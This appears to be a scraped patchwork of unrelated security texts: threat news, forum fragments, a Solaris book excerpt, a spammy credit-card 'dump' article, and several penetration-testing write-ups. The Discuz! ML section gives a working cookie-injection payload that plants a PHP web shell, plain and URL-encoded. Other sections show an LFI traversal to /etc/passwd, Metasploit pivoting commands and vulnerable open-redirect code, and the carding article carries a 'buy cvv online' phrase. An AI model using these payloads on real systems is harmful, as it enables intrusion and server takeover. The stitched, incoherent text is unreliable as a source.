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How to identify the Java program that is maliciously accessing my web site from many client addresses?
For many years, my personal web site receives numerous pairs of hits that look like this, every day: 202.xx.xx.xx - - [22/Apr/2013:12:02:26 +0000] "GET / HTTP/1.1" 200 5923 "-" "Java/1.4.1_04" ...
Lets assume a botnet is attacking a website by HTTP GET flooding. To find the bots, the only way seems to be finding the similarities of the HTTP GET requests considering the URL and header fields, ...
I'm working on a http traffic analyzer and I need a collection of malware, which uses http as a way to get commands and respond, to analyze their network behaviour. Is there any database of malware, ... |
An ongoing campaign dubbed Earth Bogle is leveraging geopolitical-themed lures to deliver the NjRAT remote access trojan to victims across the Middle East and North Africa.
“The threat actor uses public cloud storage services such as files[.]fm and failiem[.]lv to host malware, while compromised web servers distribute NjRAT,” Trend Micro said in a report published Wednesday.
Phishing emails, typically tailored to the victim’s interests, are loaded with malicious attachments to activate the infection routine. This takes the form of a Microsoft Cabinet (CAB) archive file containing a Visual Basic Script dropper to deploy the next-stage payload.
Alternatively, it’s suspected that the files are distributed via social media platforms such as Facebook and Discord, in some cases even creating bogus accounts to serve ads on pages impersonating legitimate news outlets.
images from Hacker News |
A few weeks ago I installed an update to a popular Internet Explorer media-player ActiveX control on one of my systems. I knew from past experience that the plugin’s updates always configure an autostart, (an executable configured to automatically launch during boot, login or with another process) that I don’t believe serves any useful purpose, so as I had in the past, I launched Sysinternals Autoruns, set both Verify Code Signatures and Hide Signed Microsoft Entries in the options menu, pressed Refresh, found the autostart and deleted it. However, as I was about to close the window another entry caught my eye and caused my heart to stop:
The entry, IECheck, has all the characteristics of malware: it has no icon, description, or company name, and it’s located in the Windows directory. Further, Autoruns’ Search Online feature, which executes a Web search, yielded no information on the suspicious executable.
I needed to investigate further to determine if the entry was a sign of a malware infection, so I turned to the Sysinternals Strings utility. Image files often contain plain-text strings that contain clues that can connect it with an application. For example, if a program reads configuration information from the registry, the registry path is embedded in the executable and usually includes the name of the vendor or application. Strings scans a file for printable strings (both Unicode and Ascii) and prints them, so my next step was to open a command prompt and dump those in IECheck.exe. Sometimes the output is so verbose that it’s easier to pipe the output to a text file and study the results with Notepad, but this time I spotted some interesting text as it scrolled past:
Sure enough, the executable had string references to other executables that are probably part of the same application, and they revealed the name of the application, IconEdit2, as well the vendor, WinAppsPlanet. I then remembered that I had just downloaded IconEdit a few days earlier to edit hi-resolution Vista-style icons and so I was able to classify the incident as a false alarm and close the case. My heart returned to its normal rhythm.
This example highlights a few practices that software vendors should follow for reliability and to prevent the confusion I faced. First is the use of environment variables and Shell special paths instead of hard-coded strings. IECheck (which I presume stands for Icon Editor Check) references the Program Files directory by name, which is only valid on English installations of Windows, so if installed on a foreign system, IECheck would fail to find the executables it looks for. Instead, it should locate the Program Files directory by using the %PROGRAMFILES% environment variable, or call ShGetFolderPath with CSIDL_PROGRAM_FILES for the folder parameter.
To avoid scaring security-conscious users, all executables should have a version resource with a company name and a description that clearly identifies the executable’s purpose. Further, vendors should obtain a code signing certificate to digitally sign their code. Windows relies more and more on signature information to help users make trust decisions, and users can leverage tools like Process Explorer, Autoruns, and Sigcheck to verify that executables are what they advertise instead of malware. I’ve contacted the author of IconEdit2 and he’ll be updating his application to follow this guidance. All vendors need to do their part to avoid this kind of needless scare. |
During a credit card dump, there is a certain process that needs to be followed. There are a few things you need to look for, and some tips to remember. Getting through a credit card dump isn't hard if you know how to do it.
Identifying skimming machines Identifying skimming machines in credit card dumps is not as easy as it may sound. In fact, the technology behind skimming is quite complex.
It involves using a tiny camera and recording the PIN number that you input into an ATM or other device. The information is then downloaded to your personal computer. This is a clever way for thieves to get your credit card information without your knowledge.
The most common places for skimmers to be installed are at ATMs or gas stations. However, criminals can also use them to hack into a merchant's credit card machine.
A skimming device is small and can be hard to spot. It usually sits on top of the credit card reader, protruding past the payment key panel. It usually comes in different colors than the machine.
A skimmer is the most advanced type of skimming mechanism. It scans the magnetic strip of a credit card and captures information. This information can be used to clone a new card or make fraudulent purchases online.
Identifying hacking and carding forums Identifying hacking and carding forums is important in helping to protect organizations from future attacks. This type of crime is a form of financial fraud where hackers obtain stolen credit card numbers from compromised websites and use them to make purchases. This attack typically results in chargebacks for legitimate reasons and poor merchant histories.
These attacks are often performed by bots, which are software used to perform automated operations over the Internet. The attacker uses a bot to make small purchases on various payment sites. The attacker then tests the card number against merchant payment processes. Once the card balance is stolen, the carding process is typically untraceable.
Carding forums are online marketplaces where criminal groups buy and sell stolen credit card information. They also provide information on how to use stolen credit card data and techniques to identify fraud. These forums often operate behind TOR routing and are hidden from the general public.
Cybersecurity researchers at Digital Shadows have conducted a study to identify the activities of carding forums. They analyzed the comment histories of 30,469 users from three carding forums. Their results revealed that there were 21 different topics discussed on these forums. These topics included discussions on financial fraud, malware, exploits, zero-day vulnerabilities, and network penetration.
Identifying McDumpals Identifying credit card dumps can be a daunting task. There are many different methods of obtaining these stolen cards. Some methods are illegal, such as skimming, while others involve hacking into the networks of retailers. If you are suspicious of any suspicious activity on your card, you should contact your credit card issuer and bank. If you suspect your account has been compromised, you should update your automatic payments with the new card number.
Another popular method of obtaining card dumps is skimming, which involves illegal card readers. These devices can be hidden in legitimate ATMs or gas station pumps. They copy information from the magnetic strip on a credit card and can be used to steal data.
Another method is to use malware to infect point-of-sale devices. These devices can be used to collect credit card information, such as the BIN, which is the first six digits of a debit card. These cards can then be resold in the underground market.
Recovering from a cvv dumps Getting your card data dumped is a common cybercrime. This happens when hackers steal or physically copy credit card information. They then sell this information to criminals, who use it to make unauthorized purchases. It's also a form of identity theft.
Some of the most common methods of getting a credit card dump are skimming or buy cvv online breaking into retailer networks. They also infect point-of-sale devices. These methods allow criminals to access thousands of retail customers' credit card numbers.
The first signs of a credit card dump are when you find out that a retailer has made an unauthorized purchase using your card. If you suspect your card has been compromised, you should contact the card issuer and cancel it. You may also want to check your ATMs and gas stations for skimming machines.
It's also important to remember that credit card data can be purchased cheaply. Hackers have purchased thousands of credit card information for as little as twenty dollars. These cards are then sold to other criminals. |
The Snatch ransomware gang has allegedly attacked Briars Group. Briars Group is a London-based consultancy firm that helps businesses expand overseas. Its clients range from the cyber-tech sector to the oil and gas sector and from startups to multinationals. Briar Briars Group was founded in 1991 by Andrew Brierly and Kate Jolly, and its services include: Company Formation, Corporate Compliance, Global HR Services, Global Payroll Services, PEO/Employer of Record, Taxation, Accounting, Banking & Payments, and Foreign Exchange Treasury. While Snatch hasn’t yet confirmed how much data it claims to have stolen, the ransomware gang has posted Briar Group’s details on its dark web leak site. Briar Group has neither confirmed nor denied the attack. The Snatch ransomware gang, which first appeared in 2018, uses sophisticated AES encryption to prevent victims from accessing their information. The hackers use Windows registry keys to boot in safe mode. Snatch typically targets high-profile organizations and forces target systems to reboot in safe mode to disable antivirus software. Snatch typically demands between 1 and 5 bitcoins as ransom, and researchers have not yet found a way to decrypt stolen information. The ransomware gang initially targeted regular users with spam emails, but since 2019 has targeted entire organizations.
This attack's description was not found, while we work on the detailed account of this attack we invite you to browse through other recent Rasomware Attacks in the table below. |
Let’s scramble the word here to get the meaning. URL (Uniform Resource Locator) means to locate the resource in the web world in a uniform way and Redirection means redirecting to another source. What’s there in using this vulnerability on a web application. An attacker can gain the trust of a user. For example, the attacker will make a phishing attempt by sending a trusted website link to the user. Users will think it is from a known website which they trust when the user clicks the URL. They land up in the attacker’s plot. An attacker can do anything with it. Like requesting personal information to many.
As I’ve already stated that this is a vulnerability(weakness) in the web application. To secure the application there are numerous ways. Let’s see from the code standpoint first.
Never Trust user-controlled data – Parameter based
The application will have the functionality to accept user input to process. For example, to navigate the user to his profile settings in another domain internally usually in single sign-on authentication (SSO). Now, the URL redirect function will be called in the code to complete this function. But, the application doesn’t know that the request coming is from a legitimate user or an illegitimate user. Failing to validate this input. The function will redirect the application to user-supplied input.
Some of the functions which does this url redirect are:
Note: ASP .NET MVC 1 & 2 websites are vulnerable to this redirection attack. It is best to use MVC 3. Refer (https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks)
Application will have functionality to restore the user activity or land on last page user used. It is to give the user-friendly environment.
This can be tricked during penetration testing. The functionality works like once the user logs in again, land him on the same page which he used before session expiry. Now, the analyst can trick by providing an external domain in the place of the account and check whether the application does redirect or not. If it does then the application is vulnerable
If the application uses below code. Then it would lead to open redirect.
window.location = window.location.hash.substr(1)
Attacker can use this to craft the link to redirect it to his site by phish attempt.
- Always validate the request from the client before processing it. It is far better to have internal check than trusting external tools to do the work which can be taken for additional security.
- If possible, have direct links in the code hardcoded.
- Have the list of internal domain url and refer it from the request identifier. Then pass the relevant url from application after checking the user role. In this way we are blocking user supplied url and also validating the user role whether authorized to view the requested information or not.
- Application should use redirection function with appending the value after domain.
- Ultimately application knows where to redirect. So, when the request comes from the user, a function can be used to match the value with list of redirect urls. If everything matches then it can append only the user value to the redirect url and issue it to client.
- Use of regex is suggested at max that this function is needed to allowed. Filter the values and process clean requests alone.
Detection in SIEM logs
- Check for the HTTP status codes 3xx in logs such as Web application firewall, Next-generation firewall, and application logs which as collected as a business priority.
- Do a gap time analysis to statistical view to understand the frequency of connection redirected to the landing page. How often it occurs?
- Review the HTTP methods such as ( GET, POST, etc ) with the 3xx to confirm the possible actions of malicious requests.
- Check the CSP ( content security policy ) in logs, where third-party applications are trusted by the organization or not?
- Check your vulnerability scanner results whether the application has any code flaws and yet to be fixed.
- Inspect the external communicated URL ( https://example.com/#https://www.demosite.com ), Threat level with virus total, urlscan.io, Shoud i click , etc.
- Monitor your WAF traffic closely, which can indicate if a site has tampered with or not.
- If your organization is using RASP ( Runtime Application Self-Protection ), check the Unvalidated Redirects logs and check whether it is blocked or allowed.
- Validate the HTTP headers hostnames using publicly available threat intel such as ( Virustotal etc ).
- Map and detect the request originating internal IP address and check the connection is established only from one Ip address or multiple.
- If the site is legitimate and still a request is made to the malicious site, sandbox the legitimate site and review the source codes to find any malicious websites which can be hiding in encoded format also. |
Hackers with apparent links to the Belarusian government have been targeting foreign diplomats in the country for nearly 10 years, according to security researchers.
On Thursday, antivirus firm ESET published a report that details the activities of a newly discovered government hacking group that the company has dubbed MoustachedBouncer. The group has likely been hacking or at least targeting diplomats by intercepting their connections at the internet service provider (ISP) level, suggesting close collaboration with Belarus’ government, according to ESET.
Since 2014, MoustachedBouncer has targeted at least four foreign embassies in Belarus: two European nations, one from South Asia and another from Africa.
“The operators were trained to find some confidential documents, but we’re not sure exactly what they were looking for,” ESET researcher Matthieu Faou told TechCrunch in an interview ahead of his talk at the Black Hat cybersecurity conference in Las Vegas. “They are operating only inside Belarus against foreign diplomats. So we have never seen any attack by MoustachedBouncer outside of Belarus.”
ESET said it first detected MoustachedBouncer in February 2022, days after Russia invaded Ukraine, with a cyberattack against specific diplomats in the embassy of a European country “somehow involved in the war,” Faou said, declining to name the country.
By tampering with network traffic, the hacking group is able to trick the target’s Windows operating system into believing it’s connected to a network with a captive portal. The target is then redirected to a fake and malicious site masquerading as Windows Update, which warns the target that there are “critical system security updates that must be installed,” according to the report.
It’s not clear how MoustachedBouncer can intercept and modify traffic — a technique known as an adversary-in-the-middle, or AitM — but ESET researchers believe it’s because Belarusian ISPs are collaborating with the attacks, allowing the hackers to use a lawful intercept system similar to the one Russia deploys, known as SORM.
The existence of this surveillance system has been known for years. In Belarus, all telecom providers “must make their hardware compatible with the SORM system,” according to a 2016 Amnesty International report.
Once ESET researchers found the attack last February and analyzed the malware used, they were able to discover other attacks — the oldest dating back to 2014 — although there is no trace of them between 2014 and 2018, according to Faou.
“They stayed under the radar for a long time. And so it means that they’re quite successful if they were able to compromise high profile targets such as diplomats, while no one really spoke about them, and there have been very few malware samples available for analysis,” he said. “It shows that they’re quite careful when doing the operations.”
Do you have information about this hacking group? Or other advanced persistent threats (APTs)? We’d love to hear from you. From a non-work device, you can contact Lorenzo Franceschi-Bicchierai securely on Signal at +1 917 257 1382, or via Telegram and Wire @lorenzofb, or email [email protected]. You also can contact TechCrunch via SecureDrop. |
Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
Elastic Cloud on Kubernetes (ECK) versions prior to 1.1.0 generate passwords using a weak random number generator. If an attacker is able to determine when the current Elastic Stack cluster was deployed they may be able to more easily brute force the Elasticsearch credentials generated by ECK.
CWE-335 - Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)
The software uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds. |
Discuz! ML Remote Code Execution (CVE-2019-13956)
I. Vulnerability Description
The vulnerability exists in discuz ml (multi-language version), the language in the cookie is controllable and there is no strict filtering, resulting in remote code execution.
Second, the vulnerability affects the version
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
Setting up a vulnerability environment
1. Download Discuz! ML V3.4 from official website, download address: http://discuz.ml/download
2.Extract the compressed package to the root directory of the phpstudy website, and the browser accesses the upload directory to start the installation.
3.Then just keep clicking Next until the installation is complete
Recurrence of loopholes
1.The location of the vulnerability /upload/source/module/portal/portal_index.php, use the template function to process 'diy: portal / index', and then use include_once to include
2.Follow up the template function and find that the DISCUZ_LANG function is spliced into a cache file name, and then the cache file name is returned.
3.Follow up the DISCUZ_LANG function and find that the language value is taken from the cookie and given to $ lng
4.Continue to browse the code and find that the value of $ lng is assigned to DISCUZ_LANG
5.At this point, the entire vulnerability analysis process has ended, and the process is as follows:
The external parameter $ lng (language language in the cookie) is controllable, causing the DISCUZ_LANG function to obtain $ lng, then stitching it into a cache file and returning the cache file name, resulting in the cache file name generated by the template function being controllable. In the end, the include_once function included the code injection (the name of the cache file that executed the malicious code).
6, test the vulnerability, just click a page, capture the package, change the xxx_language parameter value in the cookie to '.phpinfo ().', And found that the code was successfully executed
7.Check the cache file and find that the cache file name has been modified as follows
8.1 Try to upload a shell and construct the payload as follows:
'.file_put_contents (' shell.php ',' <? php eval ($ _ POST [cmd]);?> ').'
Execution prompt error, may be the reason for encoding
8.2. Attempt to encode all the payloads and fail. Only the following payloads can be used to succeed
% 27. + file_put_contents% 28% 27shell.php% 27% 2Curldecode% 28% 27% 253c% 253fphp +% 2520eval% 28% 2524_% 2550% 254f% 2553% 2554% 255b% 2522cmd% 2522% 255d% 29% 253b% 253f% 253e% 27% 29% 29.% 27
8.3. Check if shell.php was successfully uploaded and found that it was successfully uploaded
8.4, Kitchen knife connection
Tool detection: https://github.com/theLSA/discuz-ml-rce |
This week, we have a vulnerability in the AWS API gateway that allows a potential cache-poisoning attack, disclosed at the recent BlackHat Europe conference, a guide on how to harden Kubernetes API access, a report from Forbes on the need to take API security more seriously, and predictions on what’s possibly on the next OWASP API security Top 10.
Vulnerability: AWS API gateway vulnerable to HTTP header-smuggling attack
At the recent BlackHat Europe security conference, web security researcher Daniel Thatcher disclosed vulnerabilities relating to the AWS API gateway that allowed HTTP header smuggling. Currently, AWS has not responded to this research nor offered a comment regarding the potential vulnerabilities in their API gateway.
PortSwigger sums up HTTP header smuggling as am attack vector well:
“HTTP request smuggling is a technique for interfering with the way a website processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.”
The actual attack that uncovered the vulnerability in AWS API gateway was very simple: Thatcher added
X-Forwarded-For abcd: z to the header for HTTP requests, which bypassed the AWS IP address restriction policies in AWS API Gateway.
At its most serious, the vulnerability could allow an attacker to use HTTP header smuggling to sneak phony headers to the backend and launch a cache poisoning attack on the server. This in turn could allow the attacker to create their own API and return malicious content. Not the easiest one to exploit.
AWS has since fixed the vulnerability.
Guide: Kubernetes API Access Security Hardening
In any given Kubernetes deployment, the “control plane” is a component of critical importance in a Kubernetes instance, with the Kubernetes API being the gatekeeper to any and all operations that get executed within the instance. As such, the access to this API must be carefully controlled using strong authentication and authorization techniques.
Teleport has put together a concise guide in which they provide recipes and best practice guides for hardening and securing Kubernetes deployments. The article provides detailed guidance on the following core topics:
- Kubernetes API network access best practices
- Kubernetes API user account management best practices
- Kubernetes API access authentication best practices
- Kubernetes API access authorization best practices
- Securing access to Kubernetes Kubelet
- Additional security considerations for API access control
With any complex software system, administrators are encouraged to be fully aware of the default configuration and its security implications, and are well-advised to follow such a guide to implementing the quick wins to harden their installations. If you work with Kubernetes, or are interested in it, do take a look.
Report: Time to take API security more seriously
The importance of API security to our modern economy was highlighted this week in a feature by Forbes on why it’s time to take API security seriously. Perhaps for regular readers of this newsletter, the conclusions do not come as a surprise, but it is heartening to see this topic given prime-time coverage in the mainstream media.
Forbes concludes that IT leaders would do well to focus energies on the following key areas:
- Consider all APIs a threat.
- Keep an accurate, up-to-date inventory of APIs.
- Look inside the luggage.
- Get serious about DevSecOps.
Forbes’ conclusion is precise and to-the-point:
“the best defense is to raise awareness as broadly as possible in your organization so that everyone whose job relates to designing, building and deploying software understands this enemy.”
Opinion: Predicting the next OWASP API Security Top 10
Finally, a regular contributor to this newsletter, Jason Kent, provides some predictions on what a new OWASP API Security Top 10 might look like. The previous listing is from 2019, and two years can be a long time in tech, so it will be exciting to see how it eventually gets updated.
The key takeaway from Kent is the focus on shifting left in relation to API security. He predicts that both insecure design and data integrity failures will be added as new entries to the API Security Top 10. Unsurprisingly, identity and authentication failures and broken access control are likely to remain the two highest priority issues affecting API security.
If you are the betting kind, you could start considering your own opening antes.
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Ever since we exposed and profiled the evasive, multi-hop, mass iframe campaign that affected thousands of Web sites in November, we continued to monitor it, believing that the cybercriminal(s) behind it, would continue operating it, basically switching to new infrastructure once the one exposed in the post got logically blacklisted, thereby undermining the impact of the campaign internationally. Not surprisingly, we were right. The campaign is not only still proliferating, but the adversaries behind it have also (logically) switched the actual hosting infrastructure. Let’s dissect the currently active malicious iframe campaign that continues to serving a cocktail of (patched) client-side […]
Posts Tagged: Hacked Web Site
Sharing is caring. In this post, I’ll put the spotlight on a currently circulating, massive — thousands of sites affected — malicious iframe campaign, that attempts to drop malicious software on the hosts of unaware Web site visitors through a cocktail of client-side exploits. The campaign, featuring a variety of evasive tactics making it harder to analyze, continues to efficiently pop up on thousands of legitimate Web sites. Ultimately hijacking the legitimate traffic hitting them and successfully undermining the confidentiality and integrity of the affected users’ hosts.
Our sensors just picked up an interesting Web site infection that’s primarily targeting Brazilian users. It appears that the Web site of the Brazilian Jaqueira prefecture has been compromised, and is exposing users to a localized (to Portuguese) Web page enticing them into installing a malicious version of Adobe’s Flash player. Not surprisingly, we’ve also managed to identify approximately 63 more Brazilian Web sites that are victims to the same infection.
Over the past 24 hours, our sensor networks picked up an interesting website infection affecting a popular Bulgarian website for branded watches, which ultimately redirects and downloads premium rate SMS Android malware on the visiting user devices. The affected Bulgarian website is only the tip of the iceberg, based on the diversified portfolio of malicious domains known to have been launched by the same party that launched the original campaign. More details: |
System managers are under constant pressure to do more with the resources they already have and to rationalize and consolidate. The products available today to integrate the Solaris and PC environments greatly help achieve these objectives.
The Sun PCi coprocessor card effectively co- locates a powerful PC within the Sun system hardware, allowing it to take advantage of the Solaris system resources and eliminating the need for two separate systems on the desktop.
Solaris PC Netlink delivers sufficient Windows NT integration to replace NT servers completely with significantly fewer Solaris systems, thanks to the reliability and scalability that the Sun platform is renowned for.
Interoperability between UNIX and PC environments has been high on the Sun Microsystems agenda for several years . The StarOffice productivity suite of software is now considered to be a serious rival to the traditional Microsoft Windows environment.
Chapter 11. Shells and Public Domain Software
L IKE ANY OTHER UNIX ENVIRONMENT, the Solaris operating environment contains at least one command interpreter called a shell. It isn't only an interpreter; it's also a command programming language. The shell is the main interface between the user and the system. The first section in this chapter identifies the shells that are packaged with the Solaris operating environment software, as well as the shells that can be obtained in the public domain. Another shell that is discussed, the secure shell, is an essential tool when extra security is required in a potentially vulnerable network environment.
A considerable amount of software also exists in the public domain, freely available and written by some of the best developers and technical experts in the field of UNIX. The second part of this chapter takes a look at some of the more popular public domain software applications, what they do, and where they can be obtained.
The shell is the means by which UNIX commands are executed, whether at the command line or from a file ”the latter is known as a shell script or program. The system startup (and shutdown) procedures execute a number of shell scripts. The shell is an interactive programming language as well as a command interpreter; it enables the user to set variables and customize the environment. Choosing which shell to use often comes down to personal preference ”you can use the one that you feel most comfortable with and that provides the functionality required.
This section identifies the shells that are available for use with the Solaris operating environment and discusses some of the differences between them. Entire books have been written on the use of the UNIX shells; some of these are referenced in the Appendix, "Resources." This section is intended only to identify and introduce the different shells.
Shells Bundled with the Solaris Environment
A number of shells actually are delivered with the Solaris operating environment, offering various features:
Don't lose the root shell
The standard shell for the superuser (root) resides in /sbin/sh. The sbin directory contains statically linked programs ”that is, programs that already contain any library functions that might be required to execute the program. Therefore, they are self-sufficient, unlike dynamically linked programs that call library modules at runtime. Changing the default root shell to a dynamically linked shell might save a little bit of disk space, but it could also mean that the superuser cannot log on in case of a failure affecting the runtime libraries.
Shells Available in the Public Domain
A number of shells have been written and made available in the public domain. These are mainly extensions to the existing shells with additional functionality added. Although there are many, three of the more popular ones are discussed here:
These three shells are now delivered as standard with Solaris 8. Their basic functionality is extremely similar, with job control, word completion, a command-line editor, and the capability to recall a history of previously entered commands being common to all of them.
The Secure Shell
The secure shell provides the means to access systems securely, using encrypted communications between a client and a Solaris system based on their own SSH secure protocol. The secure shell daemon runs on the Solaris system and will accept a login request only from a "known host" ”that is, a system with a registered encryption key. The secure shell is available from SSH Communications Security Corp. (http://www.ssh.com). This has become the de facto standard for users requiring remote logins.
Two versions of the secure protocol exist: SSH version 1 (SSH1) and SSH version 2 (SSH2). Both encrypt at different parts of the network packet. SSH2 uses only host keys to authenticate systems, whereas SSH1 uses server and host keys. The two protocols are incompatible, although they can both be run on the same system if SSH1 was installed before SSH2. The SSH2 protocol is a complete rewrite and is more secure. SSH2 also includes an easy-to-use secure file transfer facility, using the Secure File Transfer Protocol (SFTP).
Licensing of the two protocols has been a factor in deciding which one to use. SSH1 was originally free, although versions later than 1.2.12 apply restrictive licensing. A number of ISPs still work on SSH1 because it is free and has proven to be stable because it has been around longer. SSH2, on the other hand, is free only for nonprofit organizations, educational organizations, or entities using it purely for charity.
SSH is not only a shell, but it also provides a graphical environment when needed in a secure environment. The X Window System over SSH can be used when only secure connectivity is permitted. |
Takashi Katsuki, a researcher at Antivirus firm Symantec has discovered a new cyber attack ongoing in the wild, targeting an open-source Web server application server Apache Tomcat with a cross platform Java based backdoor that can be used to attack other machines.
The malware, dubbed as "Java.Tomdep" differs from other server malware and is not written in the PHP scripting language. It is basically a Java based backdoor act as Java Servlet that gives Apache Tomcat platforms malicious capabilities.
Because Java is a cross platform language, the affected platforms include Linux, Mac OS X, Solaris, and most supported versions of Windows. The malware was detected less than a month ago and so far the number of infected machines appears to be low.
You may think that this type of attack only targets personal computers, such as desktops and laptops, but unfortunately that isn’t true. Servers can also be attacked. They are quite valuable targets, since they are usually high-performance computers and run 24x7.
Java worm seeks out for the system having Apache Tomcat installed-running and then attempts to log-in using the password brute-force attack using combinations of user names and passwords.
After installation, the malware servlet behaves like an IRC Bot and able to receive commands from an attacker. Malware is capable of sending-downloading files from the system, create new processes, update itself, can setup SOCKS proxy, UDP flooding i.e. Can perform massive DDoS Attack.
They have mentioned that the command-and-control servers have been traced to Taiwan and Luxembourg. In order to avoid this threat, ensure that your server and AV products are fully patched and updated. |
Many a times during a web application penetration testing, we get to test for various security threats and bugs. This short article will narrate one such experience while penetration testing where we have noticed that many security professionals are not able to understand the situation and leave the work half done. Local file inclusion (short name LFI) is web exploitation technique where files are included on a server through the web browser. This vulnerability mainly occurs when a page include is not properly sanitized, and allows directory traversal characters to be injected.
Sometimes we need to get a glance of the working PHP code of the LFI vulnerable website, it may reveal more secrets to attacker and help in proper exploitation when logs access and /proc/self/environ both fails. The technique uses PHP filter directives .The filter will convert the PHP code into base64 encoding. We have to decode the base64 string to carry out successful exploitation. Take for example, you have a LFI like this:
http://www.victim.com/ index . php ? lfi = ../ ../ ../.. /etc/passwd%00
All you have to do is to change it to:
Let me make it more easier to understand. Suppose, www.victim.com is vulnerable to LFI. The decoding of the following URL :
will reveal this:
And after decoding , we will get the following:
This might look. quite small. But we have noticed that this had been left untouched during many test. We hope this was informative. Stay tuned! |
[dns-operations] Configurable TC=1?
dns at fl1ger.de
Sun Dec 20 23:16:37 UTC 2015
On 20 Dec 2015, at 23:14, Dave Warren wrote:
> DNS is largely used because of amplification, which is a combined PPS
> and BPS attack.
DNS still mostly is used a lot for lookup of names and numbers, though
you could be right that the malicious usage of DNS is greater legitimate
> Returning TC=1 has the unique advantage of allowing a DNS server to
> stop responding to the packets at all for a little while until/unless
> you see a TCP DNS query from the same host (after which point you
> might start answering UDP again, since you at least know the queries
> are from a DNS server and not a reflection attack)
That works for this specific attack vector. It doesn't work and we have
seen that when the actual client for the authoritative server is a
legitimate resolver, possibly attacked with a random subdomain attack.
In this case both parties quickly exhaust their TCP resources...
> Also potentially useful (although it would require wide deployment)
> would be if a victim could send out some sort of "I'm being attacked,
> stop responding to UDP queries" squelch, and after receiving such a
> packet, a DNS server would only respond with TC=1 responses, and only
> a small percentage of them (to ensure that this doesn't create a DoS
> mechanism), with the victim knowing to use TCP. Since DNS servers
> would still send periodic TC=1 queries, this would reduce the impact
> if an attacker sent out spoofed squelch packets since the resolver
> would quickly receive the TC=1 packets. Sending the same squelch
> instruction via TCP could allow a victim to indicate an end-of-attack,
> telling other DNS servers "don't force me to use TC=1 anymore"
Most of this signaling doesn't work in DNS, because of the difficulty on
getting wide deployment and most signalling also can be abused. In
response to the random subdomain attacks most DNS software introduced
outbound rate limiting/throtteling to authoritative servers and that
seems to work quite well. Granted that doesn't help for spoofed quries,
but still is cheaper than using TCP.
More information about the dns-operations |
The threat actor known as SideWinder has added a new custom tool to its arsenal of malware that’s being used in phishing attacks against Pakistani public and private sector entities.
“Phishing links in emails or posts that mimic legitimate notifications and services of government agencies and organizations in Pakistan are primary attack vectors of the gang,” Singapore-headquartered cybersecurity company Group-IB said in a Wednesday report.
SideWinder, also tracked under the monikers Hardcore Nationalist, Rattlesnake, Razor Tiger, and T-APT-04, has been active since at least 2012 with a primary focus on Pakistan and other Central Asian countries like Afghanistan, Bangladesh, Nepal, Singapore, and Sri Lanka.
Last month, Kaspersky attributed to this group over 1,000 cyber attacks that took place in the past two years, while calling out its persistence and sophisticated obfuscation techniques.
The threat actor’s modus operandi involves the use of spear-phishing emails to distribute malicious ZIP archives containing RTF or LNK files, which download an HTML Application (HTA) payload from a remote server.
This is achieved by embedding fraudulent links that are designed to mimic legitimate notifications and services of government agencies and organizations in Pakistan, with the group also setting up lookalike websites posing as government websites to harvest user credentials.
The custom tool identified by Group-IB, dubbed SideWinder.AntiBot.Script, acts as a traffic direction system diverting Pakistani users clicking on the phishing links to rogue domains.
Should a user whose client’s IP address differs from Pakistan’s tap on the link, the AntiBot script redirects to an authentic document located on a legitimate server, indicating an attempt to geofence its targets.
“The script checks the client browser environment and, based on several parameters, decides whether to issue a malicious file or redirect to a legitimate resource,” the researchers said.
Of special mention is a phishing link that downloads a VPN application called Secure VPN (“com.securedata.vpn”) from the official Google Play store in an attempt to impersonate the legitimate Secure VPN app (“com.securevpn.securevpn”).
While the exact purpose of the fake VPN app remains unclear, this is not the first time SideWinder has sneaked past Google Play Store protections to publish rogue apps under the pretext of utility software.
In January 2020, Trend Micro detailed three malicious apps that were disguised as photography and file manager tools that leveraged a security flaw in Android (CVE-2019-2215) to gain root privileges as well as abuse accessibility service permissions to harvest sensitive information. |
USING METASPLOIT SOCKS PROXY AUXILIARY MODULE OVER A METERPRETER SESSION
During a penetration test , once you have compromised a machine on the internal network, the next step generally is to pivot and then scan, fingerprint exploit and compromise other hosts in the same internal network. Sometimes, it might be useful to tunnel all the TCP communications via a meterpreter session, and not just a single port or a group of ports. This can be achieved in Metasploit using the socks proxy auxiliary module, which allows a pen-tester to tunnel TCP traffic generated by external programs like Nessus and Nmap to be tunneled via the socks proxy, which in-turn forwards the traffic via the meterpreter session , to the internal network that is not directly accessible. To force external programs to use the socks proxy, the pen-tester can use proxychains utility. Let’s, take an example:
In the above diagram the attacker has compromised HOST1 and has a meterpreter session number 1. First, to route the traffic destined to 192.168.168.0/24 network via this session he needs to issue the following command:
msf> route add 192.168.158.0 255.255.255.0 1
The next step is to start the socks proxy form the metasploit and bind it to local loopback adapter on port 1080 (default port):
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 127.0.0.1
msf auxiliary(socks4a) > set SRVPORT 1080
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
Now, the socks proxy server is listening on the loopback adapter on port 1080. The next step is to configure external tools and software like Firefox, nmap ,nessus etc. to use the proxy service configured.
In case of Firefox this can be done easily by clicking tools, options , network then settings. On the Connection setting tab one needs to choose Manual proxy configuration and Socks Host and Port should be set to 127.0.0.1 and 1080 respectively. The socks protocol should be set to SOCKSv4 as metasploit socks proxy only supports socks v4.
To tunnel nmap and nessus traffic via the metasploit socks proxy, the pen-tester needs to use a tool called proxychains. First, step is to configure proxychains to forwards the TCP traffic via the socks proxy setup earlier. This can be achieved by editing the /etc/proxychains.conf file and by adding the following lines :
socks4 127.0.0.1 1080
Finally, we can invoke/execute nessus like the following :
# killall -9 nessusd
# proxychains nessus-service –D
Now we can open a browser and point it to http://127.0.0.1:8834 and start the nessus scan. One important point to note here is that it is not possible to tunnel ICMP and UDP traffic via the socks proxy and hence ping packets and UDP scans should be omitted from the nessus scan list.
Similarly, it is possible to perform nmap scan via the socks proxy using the following command:
# proxychains nmap –n –sT -sV -PN -p 80,22,443,445 192.168.168.2-254
As we can see the metasploit socks proxy auxillayr module is really handy and canhelp a lot during pivoting. |
IM worm makes new use of old techniques
